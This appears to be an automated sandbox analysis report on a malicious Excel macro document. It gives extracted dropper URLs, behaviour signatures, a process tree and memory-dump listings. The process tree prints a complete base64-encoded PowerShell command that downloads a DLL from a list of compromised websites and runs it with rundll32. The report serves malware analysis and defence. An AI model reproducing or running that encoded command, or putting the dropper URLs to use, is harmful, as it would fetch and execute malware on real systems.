Analysis
- max time kernel
174s - max time network
212s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
07/02/2022, 23:36
General
- Target tmpnj0ssw93.xls
- Size 129KB
- Sample220207-3ll3faagbl
- SHA256 07e5152cf70487d86e525670cf3199b2950e7665c8e680547e71dd5266efde03
Malware Config
Extracted
-
ps1
-
exe.dropper
https://fullness-safety.com/-/P6x/
-
exe.dropper
https://nabajyotifoundation.com/da8uc7jo/4Za/
-
exe.dropper
https://dwwmaster.com/wp-content/ebHTB4UF2/
-
exe.dropper
http://formula8020.com/css/56Dzi0P/
-
exe.dropper
https://calad-formation.fr/r3x94z/kgZ9OGCi/
-
exe.dropper
http://lissbernardin.com/hthjb3i/x9KHpCeYrr/
-
exe.dropper
http://royalsnackmyanmar.com/wp-includes/GMtz6DxM/
-
exe.dropper
http://pristineservices.findfacts.co.in/cgi-bin/BuLyc2HKLHIQVHQLc/
-
exe.dropper
http://speedrankingsystem.de/wp-admin/k63ZcimPsE6/
-
exe.dropper
https://tigela.org.np/wp-content/Irp27O71/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 1 IoCs
- Drops file in Windows directory 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies data under HKEY_USERS 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpnj0ssw93.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\yhjlswle.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\ughldskbhn.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwAHMAOgAvAC8AZgB1AGwAbABuAGUAcwBzAC0AcwBhAGYAZQB0AHkALgBjAG8AbQAvAC0ALwBQADYAeAAvACwAaAB0AHQAcABzADoALwAvAG4AYQBiAGEAagB5AG8AdABpAGYAbwB1AG4AZABhAHQAaQBvAG4ALgBjAG8AbQAvAGQAYQA4AHUAYwA3AGoAbwAvADQAWgBhAC8ALABoAHQAdABwAHMAOgAvAC8AZAB3AHcAbQBhAHMAdABlAHIALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBlAGIASABUAEIANABVAEYAMgAvACwAaAB0AHQAcAA6AC8ALwBmAG8AcgBtAHUAbABhADgAMAAyADAALgBjAG8AbQAvAGMAcwBzAC8ANQA2AEQAegBpADAAUAAvACwAaAB0AHQAcABzADoALwAvAGMAYQBsAGEAZAAtAGYAbwByAG0AYQB0AGkAbwBuAC4AZgByAC8AcgAzAHgAOQA0AHoALwBrAGcAWgA5AE8ARwBDAGkALwAsAGgAdAB0AHAAOgAvAC8AbABpAHMAcwBiAGUAcgBuAGEAcgBkAGkAbgAuAGMAbwBtAC8AaAB0AGgAagBiADMAaQAvAHgAOQBLAEgAcABDAGUAWQByAHIALwAsAGgAdAB0AHAAOgAvAC8AcgBvAHkAYQBsAHMAbgBhAGMAawBtAHkAYQBuAG0AYQByAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBHAE0AdAB6ADYARAB4AE0ALwAsAGgAdAB0AHAAOgAvAC8AcAByAGkAcwB0AGkAbgBlAHMAZQByAHYAaQBjAGUAcwAuAGYAaQBuAGQAZgBhAGMAdABzAC4AYwBvAC4AaQBuAC8AYwBnAGkALQBiAGkAbgAvAEIAdQBMAHkAYwAyAEgASwBMAEgASQBRAFYASABRAEwAYwAvACwAaAB0AHQAcAA6AC8ALwBzAHAAZQBlAGQAcgBhAG4AawBpAG4AZwBzAHkAcwB0AGUAbQAuAGQAZQAvAHcAcAAtAGEAZABtAGkAbgAvAGsANgAzAFoAYwBpAG0AUABzAEUANgAvACwAaAB0AHQAcABzADoALwAvAHQAaQBnAGUAbABhAC4AbwByAGcALgBuAHAALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASQByAHAAMgA3AE8ANwAxAC8ALABoAHQAdABwAHMAOgAvAC8AcgBvAHkAYQBsAHQAeQByAGUAYQBsAHQAeQBuAHMAYgAuAGMAbwBtAC8AYgBhAGMAawB1AHAAXwAxAC8AZwA1ADEAVABIAGgAaABMAEwAVQBxAG8AZAB4ADYALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBjAG8ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUAB2AEkASQB4ADcALwAsAGgAdAB0AHAAcwA6AC8ALwBlAGQAdQAtAG0AZQBkAGkAYQAuAGMAbgAvAHcAcAAtAGEAZABtAGkAbgAvAGMASwBpAC8ALABoAHQAdABwAHMAOgAvAC8AcgB0AGQALgBiADIAYgBwAGkAcABlAC4AYwBuAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADgARQBTAFIAaABJAEoAQQBJAFIAaAAvACIALgBzAFAATABJAHQAKAAiACwAIgApADsAIABmAG8AUgBlAEEAQwBoACgAJAB5AEkAZABzAFIAaAB5AGUAMwA0AHMAeQB1AGYAZwB4AGoAYwBkAGYAIABpAE4AIAAkAE0ASgBYAGQAZgBzAGgARAByAGYARwBaAHMAZQBzADQAKQB7ACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAYgBuAGUAdQBpAGgAbABvAHcAcwAuAGQAbABsACIAOwBpAG4AVgBPAGsAZQAtAHcAZQBCAHIARQBxAFUAZQBzAFQAIAAtAHUAUgBJACAAJAB5AEkAZABzAFIAaAB5AGUAMwA0AHMAeQB1AGYAZwB4AGoAYwBkAGYAIAAtAG8AVQB0AEYASQBsAGUAIAAkAEcAdwBlAFkASAA1ADcAcwBlAGQAcwB3AGQAOwAgAGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\bneuihlows.dll,hjyldksfkw33⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\syswow64\rundll32.exec:\windows\syswow64\rundll32.exe c:\programdata\bneuihlows.dll,hjyldksfkw34⤵
- Loads dropped DLL
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1348-161-0x000002794ED73000-0x000002794ED74000-memory.dmp
memory/1348-162-0x000002794ED75000-0x000002794ED76000-memory.dmp
memory/1348-136-0x00007FFC27E50000-0x00007FFC28045000-memory.dmp
memory/1348-137-0x00007FFC27E50000-0x00007FFC28045000-memory.dmp
memory/1348-138-0x00007FFC27E50000-0x00007FFC28045000-memory.dmp
memory/1348-139-0x00007FFC27E50000-0x00007FFC28045000-memory.dmp
memory/1348-140-0x00007FFBE5B30000-0x00007FFBE5B40000-memory.dmp
memory/1348-141-0x00007FFBE5B30000-0x00007FFBE5B40000-memory.dmp
memory/1348-131-0x00007FFBE7ED0000-0x00007FFBE7EE0000-memory.dmp
memory/1348-155-0x000002794ED73000-0x000002794ED74000-memory.dmp
memory/1348-132-0x00007FFBE7ED0000-0x00007FFBE7EE0000-memory.dmp
memory/1348-133-0x00007FFBE7ED0000-0x00007FFBE7EE0000-memory.dmp
memory/1348-158-0x0000027950D70000-0x0000027950D74000-memory.dmp
memory/1348-134-0x00007FFBE7ED0000-0x00007FFBE7EE0000-memory.dmp
memory/1348-130-0x00007FFBE7ED0000-0x00007FFBE7EE0000-memory.dmp
memory/1348-160-0x000002794ED74000-0x000002794ED75000-memory.dmp
memory/1348-163-0x000002794ED71000-0x000002794ED72000-memory.dmp
memory/1348-135-0x00007FFC27E50000-0x00007FFC28045000-memory.dmp
memory/1348-164-0x000002794ED73000-0x000002794ED74000-memory.dmp
memory/1348-165-0x000002794ED72000-0x000002794ED73000-memory.dmp
memory/1348-166-0x0000027948F75000-0x0000027948F76000-memory.dmp
memory/1348-168-0x000002794ED71000-0x000002794ED73000-memory.dmp
memory/1348-167-0x000002794ED71000-0x000002794ED72000-memory.dmp
memory/1348-169-0x000002794EE38000-0x000002794EE39000-memory.dmp
memory/1348-170-0x000002794EE34000-0x000002794EE35000-memory.dmp
memory/1544-159-0x0000024B0DC90000-0x0000024B0DC94000-memory.dmp
memory/1544-157-0x0000024B0AF90000-0x0000024B0AFA0000-memory.dmp
memory/1544-156-0x0000024B0AF30000-0x0000024B0AF40000-memory.dmp
memory/3120-173-0x0000023186870000-0x0000023186892000-memory.dmp
memory/3120-174-0x00007FFBFE9D0000-0x00007FFBFF491000-memory.dmp
memory/3120-175-0x00000231863E0000-0x00000231863E2000-memory.dmp
memory/3120-176-0x00000231863E3000-0x00000231863E5000-memory.dmp
memory/3120-177-0x00000231863E6000-0x00000231863E8000-memory.dmp
memory/3644-154-0x000001AF74B70000-0x000001AF74B74000-memory.dmp